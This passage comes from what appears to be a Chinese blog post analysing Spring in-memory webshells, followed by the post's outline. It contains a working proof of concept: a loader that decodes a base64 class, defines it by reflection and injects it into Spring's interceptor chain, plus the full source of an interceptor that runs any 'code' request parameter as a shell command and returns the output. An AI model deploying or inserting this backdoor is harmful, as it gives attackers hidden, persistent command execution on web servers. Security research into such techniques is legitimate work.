ge7ABJZGQe2ABO2ABS3ABUSFrYAFzoIGQi2ABiZAAsZCLYAGacABRkGOgYZCLYAGhkFGQa2ABsZBbYAHBkFtgAdpwAFOgUDrASsAAEADwCmAKkAHgADACQAAABGABEAAAAKAAoACwAPAA0AFwAOABsAEAArABEASgATAGYAFQB8ABYAkAAXAJUAGACcABkAoQAaAKYAHACpABsAqwAdAK0AHwAlAAAAZgAKAEcAAwAqACsABwAXAI8ALAAtAAUAGwCLAC4ALwAGAGYAQAAqACsABwB8ACoAMAAxAAgAAACvACYAJwAAAAAArwAyADMAAQAAAK8ANAA1AAIAAACvADYANwADAAoApQA4AC8ABAA5AAAAOQAH/gBKBwA6BwA7BwA6/AAbBwA8/AAlBwA9QQcAOv8AGgAFBwA+BwA/BwBABwBBBwA6AAEHAEIBAQBDAAAABAABAB4AAQBEAAAAAgBF"; // magicInterceptor类class的base64编码
            byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
            java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            m0.setAccessible(true);
            m0.invoke(classLoader, className, bytes, 0, bytes.length);
            //添加com.example.spring.magicInterceptor类到adaptedInterceptors
            adaptedInterceptors.add(classLoader.loadClass(className).newInstance());

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

package com.example.spring;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class magicInterceptor extends HandlerInterceptorAdapter {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String code = request.getParameter("code");
        if(code != null){
            try {
                java.io.PrintWriter writer = response.getWriter();
                String o = "";
                ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
                }else{
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }catch (Exception e){
            }
            return false;
        }
        return true;
    }

}

over~

标签：分析,web,Spring,springframework,内存,import,org,servlet,class
From： https://www.cnblogs.com/F12-blog/p/18119252

Spring内存马分析

环境搭建

Controller型内存马

简单介绍

Bean

IOC容器

ApplicationContext

Root Context和Child Context

ContextLoaderListener

构造思路

获取Context的四种方法

getCurrentWebApplicationContext()

WebApplicationContextUtils

RequestContextUtils

getAttribute

registerMapping

registerHandler

detectHandlerMethods

构造内存马

注意

Interceptor型内存马

环境搭建

调试流程分析

内存马构造

获取Context

反射获取adaptedInterceptors

注册恶意Interceptor

完整POC

动态注册Interceptor

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